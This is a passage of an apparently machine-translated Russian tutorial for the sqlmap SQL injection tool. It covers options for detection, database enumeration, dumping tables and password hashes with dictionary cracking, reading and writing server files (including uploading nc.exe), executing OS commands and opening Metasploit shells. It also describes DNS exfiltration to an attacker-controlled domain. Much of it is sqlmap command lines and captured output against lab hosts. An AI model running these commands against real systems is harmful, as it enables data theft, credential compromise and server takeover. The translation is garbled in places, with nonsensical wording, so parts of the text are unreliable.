<comment>[GENERIC_SQL_COMMENT]</comment>
</request>
<response>
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
В приведенном выше примере вы можете видеть, что существует тег уровня со значением 2. Эта полезная нагрузка используется, когда уровень обнаружения больше или равен 2. Значение тега риска описано ниже.
Уровень обнаружения будет влиять не только на использование полезной нагрузки, но также всегда будут определяться точки внедрения параметров GET и POST. Когда уровень обнаружения больше или равен 2, он определяет, был ли внедрен файл cookie. Когда уровень обнаружения больше или равен 3, он определяет, были ли внедрены User-Agent и Referer.
Если неясно, где находится точка инъекции, можно установить более высокий уровень обнаружения.
Настоятельно рекомендуется попытаться повысить уровень обнаружения, прежде чем сообщать представителю Sqlmap о том, что явно существующая уязвимость внедрения не может быть обнаружена.
Параметры: –риск
Этот параметр используется для указания уровня риска, который в общей сложности варьируется от 1 до 4. Уровень риска по умолчанию равен 1, что в большинстве случаев безвредно для объекта тестирования. Уровень риска 2 добавляет инъекционное тестирование на основе времени, а уровень 3 добавляет тестирование OR.
Если точка внедрения находится в операторе UPDATE, использование тестирования OR может изменить данные всей таблицы, что явно не то, что хочет видеть злоумышленник. Поэтому пользователи должны иметь возможность контролировать уровень риска и избегать потенциально опасных полезных нагрузок.
Параметры: –string, –not-string, –regexp.
По умолчанию Sqlmap определяет True или False, сравнивая возвращаемое содержимое страницы в логической инъекции. Но иногда страница будет меняться каждый раз при ее обновлении, например, если на странице есть динамическая реклама. Sqlmap сделает все возможное, чтобы определить динамические части страницы, но это не всегда удается. Пользователи могут использовать параметр «-string», чтобы указать строку, которую будет содержать страница, представляющая True, но не будет содержать страница, представляющая False, чтобы Sqlmap мог определить, является ли она True или False. Если такая строка изменится, вы также можете использовать параметр «-regexp», чтобы указать регулярное выражение, соответствующее такой строке. Или используйте параметр «-not-string», чтобы указать строку, которую будет содержать страница, представляющая False, но не будет содержать страница, представляющая True.
Параметры: –код
Или, проще говоря, если пользователь знает, что код состояния HTTP страницы, представляющей True, равен 200, а код состояния HTTP страницы, представляющей False, не равен 200, например 401, Вы можете использовать параметр «--code», чтобы сообщить Sqlmap эту информацию, например «--code=200».
Параметры: –titles
Если пользователь знает, что заголовок страницы, представляющий True, отличается от заголовка страницы, представляющего False, Например, заголовок страницы, представляющей истину, — «Добро пожаловать», а заголовок страницы, представляющей ложь, — «Запрещено». Вы можете использовать параметр «-titles», чтобы Sqlmap определял True или False на основе заголовка.
Параметры: –только текст
Если в теле ответа HTTP много активного содержимого, такого как JavaScript, вы можете использовать параметр «-text-only», чтобы позволить Sqlmap сосредоточиться только на текстовом содержимом.
Эти параметры используются для настройки определенных методов SQL-инъекций.
Параметры: –техника
Этот параметр используется для указания метода, используемого при обнаружении инъекции. По умолчанию Sqlmap будет использовать для обнаружения все поддерживаемые технологии. За этим параметром следует заглавная буква, указывающая технологию обнаружения. Его значение — B, E, U, S, T или Q, и его значение следующее:
Вы можете использовать «-technique ES», чтобы указать использование двух технологий обнаружения. «--technique BEUSTQ» эквивалентен значению по умолчанию.
Если вы хотите получить доступ к файловой системе или реестру Windows, вы должны добавить «S» для тестирования внедрения многозадачных запросов.
Параметры: –time-sec
Используйте этот параметр, чтобы установить продолжительность задержки при введении задержки по времени. Значение по умолчанию — 5 секунд.
Параметры: –union-cols
При выполнении совместного внедрения запроса Sqlmap автоматически определяет количество столбцов в диапазоне от 1 до 10. Когда значение уровня высокое, верхний предел диапазона обнаружения номера столбца будет расширен до 50.
Вы можете использовать этот параметр, чтобы указать диапазон обнаружения номеров столбцов. Например, «--union-cols 12-16» изменит диапазон обнаружения номеров столбцов Sqlmap с 12 на 16.
Параметр: –union-char
По умолчанию Sqlmap использует нулевой символ (NULL) при внедрении запроса на объединение. Но когда значение уровня велико, Sqlmap будет генерировать случайные числа для совместного внедрения запроса. Потому что иногда внедрение с использованием нулевых символов не удастся, но использование случайных чисел будет успешным.
Используйте этот параметр может указывать символы, используемые при внедрении запроса на объединение,нравиться:“–union-char 123”。
Что именно означают «символы, используемые при внедрении запроса на объединение»? Рассмотрим следующие два примера:
В первом примере без "-union-char" символ, используемый при внедрении запроса на объединение, по умолчанию является нулевым символом (NULL):
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3
Часть вывода:
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,CONCAT(0x71707a6271,0x66546c7770497458576f6455476761654654745744684c5062585971794c556d55454a6c49525675,0x7162767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a6271,0x6b43674e76687959526b6452627255787373675a6f5a436f7266756d49424547496d506779456170,0x7162767671),NULL,NULL,NULL,NULL,NULL-- caXD
В первом примере используется «--union-char 123», чтобы указать символ, используемый при внедрении запроса на объединение, как «123»:
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3 --union-char 123
Часть вывода:
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb
Если вы внимательно посмотрите на вывод двух приведенных выше примеров, вы сможете понять, что «символами, используемыми при внедрении запроса на объединение», являются «XXX» в «UNION ALL SELECT XXX, XXX».
Параметры: –union-from
В некоторых случаях в совместном запросе необходимо указать допустимое и доступное имя таблицы, иначе объединенный запрос не сможет выполниться, например, в Microsoft Access. (То есть некоторые СУБД не поддерживают «SELECT 1,2;» такого оператора, SELECT должен иметь FROM.) Используйте этот параметр, чтобы указать имя таблицы,нравиться:“–union-from=users”。
Параметры: –dns-домен
SQLинъекцияDNSПодробности об атаке утечки см. в статье.《Data Retrieval over DNS in SQL Injection Attacks》。
Предположим, что злоумышленник контролирует сервер разрешения доменных имен определенного доменного имени (например, нравиться:attacker.com), то есть IP-адрес, соответствующий субдоменному имени доменного имени, будет запрошен этим сервером разрешения доменных имен. . В это время злоумышленник может использовать «--dns-domain».
Фактически, если злоумышленник не контролирует какой-либо сервер разрешения доменных имен, он может зарегистрировать новое доменное имя, а затем создать сервер разрешения доменных имен для получения данных.
Параметры: – второго порядка
Иногда результаты внедрения отображаются на другой странице. В этом случае вам необходимо использовать этот параметр, чтобы указать страницу, на которой отображаются результаты внедрения. За этим параметром следует URL-адрес.
По умолчанию Sqlmap автоматически выполняет снятие отпечатков пальцев системы управления базами данных на цели внедрения.
Параметры: -f или –fingerprint
Этот параметр можно добавить, если вы хотите выполнить более обширную идентификацию системы управления базами данных.
Параметры: -b или –banner
Если вы хотите получить более точные результаты распознавания отпечатков пальцев, вы можете добавить этот параметр. Подробности см. ниже.
Параметры: --common-tables
В некоторых случаях использование «--tables» не позволяет вывести имена таблиц в базе данных, нравиться:
Если имя таблицы невозможно прочитать, вы можете использовать параметр «--common-tables», чтобы принудительно активировать имя таблицы успешного руководства. Словарь, используемый этим параметром, — txt/common-tables.txt, в котором хранятся общие имена таблиц. Этот файл можно редактировать вручную.
Параметры: --common-columns
В некоторых случаях использование «--columns» не позволяет вывести имена столбцов в таблице данных, нравиться:
Если имя столбца невозможно прочитать, вы можете использовать параметр «--common-columns», чтобы принудительно активировать имя столбца успешного руководства. Словарь, используемый этим параметром, — txt/common-columns.txt, в котором хранятся общие имена столбцов. Этот файл можно редактировать вручную.
Эти параметры используются для перечисления информации о системе управления базой данных, структуры данных и содержания данных.
Параметры: –все
Используйте этот единственный параметр для перечисления всех доступных данных. Однако это не рекомендуется, поскольку будет отправлено большое количество запросов на перечисление как полезной, так и бесполезной информации.
Параметры: -b или –banner
Большинство современных систем управления базами данных имеют функцию или переменную среды, которая возвращает номер версии и уровень последнего исправления системы управления базами данных, а также базовую информацию об операционной системе. Обычно это функция version(), а переменная среды — @@version. Конечно, это зависит от целевой системы управления базой данных. Используйте параметр «-b» или «--banner», чтобы перечислить эту информацию для системы управления базой данных.
Базой данных в следующем примере является Oracle:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner
Часть вывода:
[09:54:30] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
Базой данных в следующем примере является Mysql:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --banner
Часть вывода:
[09:56:32] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner: '5.5.50-0ubuntu0.14.04.1'
Параметры: –текущий-пользователь
Используя этот параметр, можно составить список пользователей, выполняющих операторы SQL.
Параметры: –current-db
С помощью этого параметра можно вывести список имен баз данных, к которым подключено веб-приложение.
Параметры: –хостname
Используя этот параметр, можно указать имя хоста компьютера, на котором расположена система управления базой данных, нравиться:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname
Часть вывода выглядит следующим образом:
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386 hostname: 'debian-5.0-i386'
Параметры: –is-dba
Используя этот параметр, можно определить, является ли текущий пользователь администратором.,Возвращает True, если это администратор,В противном случае вернитеFalse。нравиться:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba
Часть вывода:
[10:05:16] [INFO] testing if current user is DBA
[10:05:16] [INFO] fetching current user
[10:05:16] [WARNING] reflective value(s) found and filtering out
current user is DBA: True
Параметры: –пользователи
Используйте этот параметр для перечисления пользователей в системе управления базой данных, если у текущего пользователя есть разрешение на чтение системной таблицы, содержащей информацию о пользователе в системе управления базой данных.
Параметры: –пароли
Если у текущего пользователя есть разрешение на чтение системной таблицы, содержащей хеш-значение пароля пользователя в системе управления базой данных, используйте этот параметр для перечисления хеш-значения пароля пользователя в системе управления базой данных. Sqlmap сначала перечислит пользователей, а затем перечислит хэш-значения паролей пользователей.
Вот пример, ориентированный на PostgreSQL:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
Часть вывода выглядит следующим образом:
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
Sqlmap не только выведет список хеша пароля, но также проанализирует формат хэша пароля и спросит пользователя, активировать ли успешное значение хеш-значения учебного пособия через словарь паролей, чтобы найти пароль в виде открытого текста.
Если вы хотите перечислить только пароли определенного пользователя, используйте параметр «-U» для указания пользователя.,«CU» может использоваться для обозначения текущего пользователя.,нравиться:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU
Часть вывода выглядит следующим образом:
database management system users password hashes:
[*] root [1]:
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
clear-text password: root
Параметры: –привилегии
Если текущий пользователь имеет разрешение на чтение системной таблицы, содержащей информацию о пользователе в системе управления базой данных, используйте этот параметр для перечисления разрешений пользователей в системе управления базой данных. Вы можете определить, какие пользователи являются администраторами, с помощью разрешений пользователей.
Если вы хотите перечислить только разрешения конкретного пользователя, используйте параметр «-U» для указания пользователя, а «CU» можно использовать для обозначения текущего пользователя.
Если целью является SQL-сервер Microsoft, этот параметр будет указывать, является ли каждый пользователь администратором, без указания конкретных разрешений каждого пользователя.
Параметры: –роли
Если у текущего пользователя есть разрешение на чтение системной таблицы, содержащей информацию о пользователе в системе управления базой данных, используйте этот параметр для перечисления ролей пользователя в системе управления базой данных.
Если вы хотите перечислить только роли определенного пользователя, используйте параметр «-U» для указания пользователя, а «CU» можно использовать для представления текущего пользователя.
В официальном руководстве сказано, что эта функция доступна только в том случае, если целевой системой управления базами данных является Oracle, но я тестировал ее в Mysql, и она также доступна.
Параметры: –dbs
Используйте этот параметр для перечисления всех баз данных в системе управления базами данных, если у текущего пользователя есть разрешение на чтение системных таблиц, содержащих информацию о базах данных, доступных в системе управления базами данных.
Параметры: –tables, –exclude-sysdbs и -D.
Когда у текущего пользователя есть разрешение на чтение системной таблицы, содержащей информацию о таблице данных в базе данных, доступной в системе управления базой данных, используйте параметр «-tables», чтобы перечислить все таблицы данных в базе данных, указанной с помощью параметра «-D». . Если база данных не указана с параметром «-D»,Используйте только параметры“–tables”Выведет список всех таблиц во всех базах данных。нравиться:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables
Используйте параметр «–exclude-sysdbs», чтобы исключить системные базы данных. В Oracle укажите TABLESPACE_NAME вместо имени базы данных.
Параметры: –columns, -C, -T и -D
Если разрешения позволяют, используйте параметр «-columns», чтобы перечислить имена и типы данных всех столбцов в таблице, указанной с помощью «-T», в базе данных, указанной с помощью «-D».
Если база данных не указана, по умолчанию будет использоваться текущая база данных. Вы также можете использовать «-C» для указания определенных интересующих столбцов, чтобы вам не приходилось перечислять все столбцы.
Вот пример, ориентированный на SQLite:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users
Часть вывода выглядит следующим образом:
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
В PostgreSQL имя базы данных должно быть «public» или системной таблицей. . Потому что в PostgreSQL можно перечислять только данные в текущей базе данных или системной базе данных, а псевдоним базы данных, подключенный к WEB-приложению, всегда является «публичным».
Параметры: –schema и –exclude-sysdbs.
Пользователи могут использовать эту опцию для перечисления схемы системы управления базой данных. Список схем содержит все базы данных, таблицы, столбцы, триггеры и их соответствующие типы. Аналогично, системные базы данных можно исключить с помощью параметра «--exclude-sysdbs».
Ниже приведен пример тестового объекта Mysql:
Часть вывода выглядит следующим образом:
[...]
Database: mysql
Table: procs_priv
[8 columns]
+--------------+----------------------------------------+
| Column | Type |
+--------------+----------------------------------------+
| Timestamp | timestamp |
| User | char(16) |
| Db | char(64) |
| Grantor | char(77) |
| Host | char(60) |
| Proc_priv | set('Execute','Alter Routine','Grant') |
| Routine_name | char(64) |
| Routine_type | enum('FUNCTION','PROCEDURE') |
+--------------+----------------------------------------+
[...]
Database: mysql
Table: ndb_binlog_index
[7 columns]
+-----------+---------------------+
| Column | Type |
+-----------+---------------------+
| Position | bigint(20) unsigned |
| deletes | bigint(20) unsigned |
| epoch | bigint(20) unsigned |
| File | varchar(255) |
| inserts | bigint(20) unsigned |
| schemaops | bigint(20) unsigned |
| updates | bigint(20) unsigned |
+-----------+---------------------+
Параметры: –count
Иногда мы просто хотим узнать, сколько данных имеется, не зная конкретного содержимого данных. В этом случае мы можем использовать этот параметр. нравиться:
python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
Часть вывода выглядит следующим образом:
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
Параметры: –dump, -C, -T, -D, –start, –stop и –where.
Данные в таблице можно перечислять, если позволяют разрешения. Используйте параметр «-D» для указания базы данных, параметр «-T» для указания таблицы данных и параметр «-C» для указания целевого столбца. Если указана только таблица данных, но не указана база данных, по умолчанию используется текущая база данных. Если столбец не указан, отображаются все столбцы таблицы.
Следующий пример предназначен для Firebird:
python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
Часть вывода выглядит следующим образом:
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+---+--------+-------------+
Используйте только параметры «--dump» и «-D», чтобы вывести список всех данных во всей базе данных одновременно.
Sqlmap автоматически сохранит данные, перечисленные в параметре «--dump», в файл формата CSV.,Конкретный путь к файлу будет указан в выводе Sqlmap.,нравиться:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -D DSSchool --dump
Часть вывода:
[11:15:27] [INFO] analyzing table dump for possible password hashes
Database: DSSchool
Table: T_SCORESYSTEMTEACHERS
[2 entries]
+-----+----------+-------+---------+----------+
| AGE | NAME | TITLE | ACCOUNT | PASSWORD |
+-----+----------+-------+---------+----------+
| 21 | neo | ?? | 001 | 001 |
| 31 | morphine | ?? | 002 | 002 |
+-----+----------+-------+---------+----------+
[11:15:27] [INFO] table 'DSSchool.T_SCORESYSTEMTEACHERS' dumped to CSV file '/home/werner/.sqlmap/output/192.168.56.102/dump/DSSchool/T_SCORESYSTEMTEACHERS.csv'
Последняя строка перехваченного вывода — это путь сохранения файла CSV.
Если вы хотите вывести только часть данных, вы можете использовать параметры «--start» и «--stop». Если вы хотите перечислить только первую часть данных, вы можете добавить «--stop 1». Если вы хотите перечислить только вторую и третью части данных, вы можете добавить «-start 1 -stop 3». Видно, что это интервал, открытый слева и закрытый справа. Диапазоны интервалов допустимы только при слепом внедрении, поскольку они игнорируются при внедрении на основе сообщений об ошибках и внедрении запроса на объединение.
Помимо использования диапазона интервалов для ограничения перечисленных данных, вы также можете использовать параметр «-where» для ограничения перечисленных данных. Параметр «--where» будет преобразован Sqlmap в предложение WHERE, например «--where» id>3”будет перечислять только столбцыidЗначение больше, чем3данные。
Как видите, Sqlmap очень гибок. Вы можете перечислить всю базу данных сразу, а можете подробно выделить столбцы в таблице и выделить в столбцах конкретные данные.
Параметры: –dump-all и –exclude-sysdbs.
Используйте параметр «--dump-all», чтобы вывести список всех данных во всех таблицах всех баз данных. Аналогично, системные базы данных можно исключить с помощью параметра «--exclude-sysdbs».
Обратите внимание, что главная база данных Microsoft SQL Server не является системной базой данных, поскольку некоторые администраторы хранят данные пользователей в этой базе данных.
Параметры: –search, -C, -T и -D
Вы можете искать имена баз данных, имена таблиц во всех базах данных и имена столбцов во всех таблицах во всех базах данных.
Параметр «-search» следует использовать с одним из следующих параметров:
При поиске Sqlmap спросит пользователя, следует ли искать точно или включать. По умолчанию используется поиск по включению, то есть, если искомая строка включена в результаты, она считается совпадением. Точный поиск требует, чтобы искомая строка была точно равна результату.
Параметры: –sql-query и –sql-shell.
Эта функция позволяет выполнять произвольные операторы SQL. Sqlmap автоматически анализирует данный оператор SQL, выбирает подходящую технологию внедрения и упаковывает данный оператор SQL в полезную нагрузку.
Если запрос представляет собой инструкцию SELECT, Sqlmap вернет результаты запроса. Если система управления базой данных, используемая веб-приложением, поддерживает запросы с несколькими операторами, Sqlmap будет использовать технологию внедрения кучи. Но имейте в виду, что веб-приложения могут не поддерживать запросы к куче. Например, PHP не поддерживает запросы к куче при использовании Mysql, но поддерживает запросы к куче при использовании PostgreSQL.
Следующий пример предназначен для SQL Server 2000:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
Часть вывода выглядит следующим образом:
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' [hh:mm:14] [INFO] retrieved: foo SELECT 'foo': 'foo'
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
Часть вывода выглядит следующим образом:
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: foo [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA RCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: bar [hh:mm:50] [DEBUG] performed 27 quer
Как видите, Sqlmap разбивает предоставленный оператор SQL на два разных оператора SELECT и возвращает результаты отдельно.
Параметр «--sql-shell» обеспечивает интерактивную среду выполнения операторов SQL и поддерживает завершение табуляции и историю команд. нравиться:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell
Часть вывода выглядит следующим образом:
[15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select 'foo';
[15:07:41] [INFO] fetching SQL SELECT statement query output: 'select 'foo''
select 'foo';: 'foo'
sql-shell> select password from mysql.user where user='root';
[15:07:42] [INFO] fetching SQL SELECT statement query output: 'select password from mysql.user where user='root''
select password from mysql.user where user='root'; [1]:
[*] *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
sql-shell> show tables;
[15:11:15] [INFO] fetching SQL SELECT statement query output: 'show tables'
[15:11:15] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)
show tables; [1]:
Параметры: –udf-inject
UDFда“определяемый пользователем function”аббревиатура,UDF — это усовершенствованная методика внедрения в MySQL и PostgreSQL.,Подробности см.《Advanced SQL injection to operating system full control》。
Вы можете скомпилировать общие библиотеки, библиотеки DLL (Windows) и общие объекты (Linux/Unix) MySQL или PostgreSQL и указать пути к этим файлам на локальном компьютере в Sqlmap для внедрения UDF. Sqlmap сначала задаст несколько вопросов, затем загрузит файл UDF, создаст UDF и, наконец, выполнит UDF на основе ответов на вопросы. После завершения внедрения UDF Sqlmap удалит загруженный файл UDF.
Параметры: --shared-lib
При добавлении этого параметра Sqlmap будет запрашивать путь к файлу общей библиотеки во время выполнения.
В каталоге udf установочного каталога Sqlmap находится множество файлов UDF, классифицированных в соответствии с DMBS, операционной системой, номером бита и версией, и их можно использовать напрямую.
Параметры: --file-read
Чтение файлов возможно, если в качестве системы управления базами данных используется MySQL, PostgreSQL или Microsoft SQL Server, а текущий пользователь имеет соответствующие разрешения на чтение файлов. Считываемый файл может быть либо файлом, либо двоичным файлом, и Sqlmap обработает его. Целевой системой управления базами данных для следующего примера является SQL Server 2005:
python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1
Часть вывода выглядит следующим образом:
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:
'/software/sqlmap/output/192.168.136.129/files/C__example.exe'
Затем просмотрите скачанный файл:
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
Параметры: –file-write и –file-dest
Загрузка файлов возможна, если в качестве системы управления базами данных используется MySQL, PostgreSQL или Microsoft SQL Server, а текущий пользователь имеет соответствующие разрешения на запись файлов. Загруженный файл может быть файлом или двоичным файлом, и Sqlmap обработает его. В следующем примере целевой системой управления базой данных является MySQL, и загружается двоичный файл, сжатый UPX:
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'
Параметры: –os-cmdи–os-shell
Если системой управления базами данных является MySQL, PostgreSQL или Microsoft SQL Server и текущий пользователь имеет соответствующие разрешения, Sqlmap может использовать SQL-инъекцию для выполнения произвольных команд операционной системы.
Если системой управления базой данных является MySQL или PostgreSQL, Sqlmap загрузит двоичный файл общей библиотеки, содержащий пользовательские функции sys_exec() и sys_eval(), через представленную ранее функцию загрузки файла, а затем создаст эти две пользовательские функции Execute user. -указанные команды через одну из этих двух функций. Какую функцию выбрать, зависит от того, хочет ли пользователь отображать стандартный вывод выполнения команды.
Когда системой управления базами данных является Microsoft SQL Сервер Sqlmap использует хранимую процедуру xp_cmdshell для выполнения произвольных команд. Если xp_cmdshell отключен (SQL Server >= По умолчанию отключено в 2005 году) Sqlmap включит его; Если xp_cmdshell не существует, Sqlmap создаст его.
Когда пользователь хочет увидеть стандартный вывод выполнения команды, Sqlmap использует перечисляемые методы внедрения (слепое внедрение, внутриполосное внедрение и внедрение на основе ошибок), а когда пользователь не хочет видеть стандартный вывод выполнения команды, Для выполнения команды будет использоваться технология внедрения запросов к куче.
Следующий пример предназначен для PostgreSQL:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1
Часть вывода выглядит следующим образом:
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually
Используйте параметр «-os-shell» для имитации оболочки, которая может выполнять любую команду. Как и «-sql-shell», эта оболочка также может быть завершена с помощью клавиши Tab и поддерживает запись истории.
Если запросы к куче не поддерживаются (например, PHP или ASP+Mysql), а системой управления базой данных является MySQL, вы все равно можете создать веб-бэкдор в доступном для записи каталоге хоста, на котором находится Интернет, с помощью предложения SELECT INTO OUTFILE и выполнять команды через этот веб-бэкдор. Sqlmap поддерживает этот метод и требует от пользователя предоставить список путей к возможно доступным для записи каталогам, разделенным запятыми. Sqlmap поддерживает следующие языки сценариев на стороне сервера:
Например: –os-pwn–os-smbrelay–os-bof–priv-esc–msf-path–tmp-path
Если системой управления базами данных является MySQL, PostgreSQL или Microsoft SQL Server и текущий пользователь имеет соответствующие разрешения, Sqlmap может установить внеполосное TCP-соединение между хостом злоумышленника и хостом, на котором расположена база данных. В зависимости от выбора пользователя это соединение может быть интерактивной командной оболочкой, сеансом Meterpreter или сеансом графического пользовательского интерфейса (VNC).
Sqlmap использует Metasploit для генерации шеллкода. Существует четыре метода выполнения шеллкода на хосте, где расположена база данных:
Вот пример, ориентированный на MySQL:
python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
